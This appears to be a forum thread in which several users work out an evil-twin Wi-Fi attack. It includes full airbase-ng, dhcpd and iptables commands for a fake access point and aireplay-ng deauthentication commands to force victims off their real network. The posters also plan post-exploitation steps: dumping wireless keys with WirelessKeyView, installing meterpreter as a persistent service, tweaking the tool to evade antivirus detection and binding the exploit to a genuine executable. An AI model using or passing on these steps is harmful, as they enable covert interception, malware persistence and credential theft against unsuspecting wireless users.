Bruteforce attack useless

[hm2075]

Transparancy is easy,

you can use dhcpd, and dhcpd.conf file,

I'm currently in windows messing with bypassing av's for file uploads. But will post you all my commands once I get a chance to boot up linux.

I had transparency working in backtrack using dhcpd, Since then I have moved over to ubuntu 8.10 and now use dhcp3 --- dhclient. So it is possible in backtrack.

I have tried to keep my ubuntu install similar to backtrack so all my commands should match up with backtrack except a few things such as enabling port forwarding.

off the top of my head

do not use bridging,
create a fake access point using airbase-ng
this creates at0 interface
you then give out leases on at0, airbase does the routing from wlan0 to at0
from there you need to use iptables, 3 or 4 lines which includes port forwarding

I intend to do a small video showing it in action at both transparency and non transparency as well as a list of all commands and programs used.
Hopefully someone then starts doing the auto scripting of most of it.

PS I'm a linux newb too, it's all trial and error and loads of googling

[Revelati]

Thanks for the reply. Ive been making progress of my own. I managed to get DNS requests to show up on my outbound interface, but im getting destination unreachable erros. On wireshark it looks like this.

Monitoring at0
192.168.0.55(client)>>>192.168.0.1(at0) DNS Standard Query A www.google.com (Bar in Blue)
(This is the request for google from my client)

Then when I look at wlan0 (NIC to router and internet) I see:
192.168.0.1>>>>192.168.0.55 ICMP Destination unreachable [Port unreachable] (Bar in Black)
(This same msg gets sent back to at0 and the client is blackholed)

So my clients are getting IPs and their DNS requests are getting routed to the correct interface, it seems like the interface just doesnt know what to do with the DNS requests. I figured Masqing would solve this problem, however when I add the lines you put up from page 4 (modified for my subnet of course) I no long recieve the ICMP error. Instead I can no longer see any kind of activity making it to wlan0 from at0 and my client just keeps sending the DNS request into space untill it times out.

EDIT:
If you could possibly post the output from:
#route
#iptables -L
#iptables -t nat -L
or any other configs you think might be useful id like to compare what I have to your working config.

SUPER EDIT:
3:18 AM, I GOT IT! Posting from a client connected to my fake AP now. Went back and did everything over again from the start. Im not sure what I was doing wrong before but it sure is working now. Finally I can get some damn sleep... Going to have sweet dreams of flawless connectivity, and not of nightmarish syntax errors!
Ill sort out all the logs and stuff tomarrow and hopefully be able to replicate my success.

[Revelati]

Here is a step by step of how I got it going.


#Connect to a network using wlan0.
==================================
#Create Airbase AP
----------------------------------
airmon-ng start wlan1
modprobe tun
airbase-ng -c 6 -e "Test0" wlan1
==================================
#Configure at0
----------------------------------
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
============================================
#Configure DHCP
--------------------------------------------
#/etc/dhcpd.conf should look like:
-------------------------------------------
ddns-update-style ad-hoc;

# Revelati's Subnet
subnet 10.0.0.0 netmask 255.255.255.0 {
allow unknown-clients;
default-lease-time 600;
max-lease-time 7200;
option subnet-mask 255.255.255.0;
option broadcast-address 10.0.0.0;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
range dynamic-bootp 10.0.0.16 10.0.0.55;

}
------------------------------------------------
killall dhcpd
dhcpd -d -f -cf /etc/dhcpd.conf at0
=================================================
#Configure routing tables/enable IP forwarding
---------------------------------------------------------
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
----------------------------------------------------------
echo 1 > /proc/sys/net/ipv4/ip_forward
================================================== ===================================
cd /etc
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
iptables -A FORWARD -i at0 -j ACCEPT
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to 192.168.1.1 (Your router)
================================================== ====================================


Here is my hardware configuration for debugging reasons.

Dell Inspiron 1525
Intel Core2Duo 2.0ghz
3gig DDR2
160 gig 7200 rpm, 80gig Vista/80gig BackTrack3 Final,Dual boot
Internal Intel 4965 a/b/g/n (wlan0)
ALFA 500mw USB dongle (wlan1)

Tested on Iphone and Macbook

[hm2075]

matches what I remember, excellent work,

I'm glad you got it working, it's all easy from here,

redirect user using iptable to your apache server and take it from there.

[Revelati]

matches what I remember, excellent work,

I'm glad you got it working, it's all easy from here,

redirect user using iptable to your apache server and take it from there.

Thanks for the pointers mate, would have taken me ages to get it going myself!
I was thinking of using Ettercap in bridged mode and using it for sniffing/DNS spoofing. I don't want to see another iptable command for a while.

Im going to modify the launching script that BadKarma wrote:
http://forums.remote-exploit.org/showthread.php?t=17674
Ill try to get a new option "-tkm" so that it will automatically configure for transparency, and message BadKarma to see if he would mind me releasing an updated version.

Mabe we could get a few people who are interested in expanding Karmetasploit together and pool our work. I don't think its sunk in yet how devastating this sort of attack could be, and this is probably the most productive thread on the net that I have found dealing with it.

I've got a whole slew of ideas on how to trick clients into connecting to a fake AP and once they are on your network its pretty much game over, besides if you do everything correctly it should be very hard for them to tell their box is in the process of being pwned while they happily surf the net.

[hm2075]

from my understanding ettercap will not work because you are already the man in the middle,

ps wirelesskey viewer before modification
virus total
Result: 15/36 (41.67%) ---- detected

after modification
Result: 2/36 (5.56%) ---- detected

i think i'll leave it as that, unless someone can find the specific signature

[Revelati]

Hmm, I have not tested it yet, but I thought using bridged sniffing it would just look at the packets as they move between interfaces on the laptop, that way you dont need to use ARP poisoning or anything like that. It should be just like running ettercap on the same station that runs the firewall. It gets ALL traffic and is nearly undetectable since it gets to the traffic before it can be scanned or monitored.

[hm2075]

give it a try and let me know the outcome,

it's 2 am here and I've spent the last few hours finalising the post exploitation, mainly making wireless key undetectable (almost)

to keep it concise for those using non-transparency we need to be quick


upload wirelesskeyview, dump keys
install meterpreter as a service so it will boot at startup

i'm going to leave out vnc because if a firewall is present it's going to make things more suspicious and warrant further investigation by the victim. Also the whole aim of this was to get wireless keys,


my final step is to bind our original exploit to a genuine exe.

PS has anyone got the full command for deauthing a client as well as many clients from their AP's?

[compaq]

PS has anyone got the full command for deauthing a client as well as many clients from their AP's?

Try ff:ff:ff:ff:ff:ff for the client mac

[Revelati]

If you mean through aireplay-ng its

"aireplay-ng -0 1 -b (bssid of station) wlan0" That should deauth all clients from an AP
"aireplay-ng -0 1 -b (bssid of station) -c (client id) wlan0" This should do it for an individual client.

I have also heard that MDK3 can do this as well, I think it even has the ability to jam/DoS entire channels.

If you were to set airbase to a different channel from your target AP and emulate it perfectly, you might be able to jam the channel of the real AP. This would cause everyone connected to the original AP to disconnect and if they have auto connect on it should suck them into the fake one. The only thing that would show up to the client would be a small interruption of service, not uncomman for wifi connections.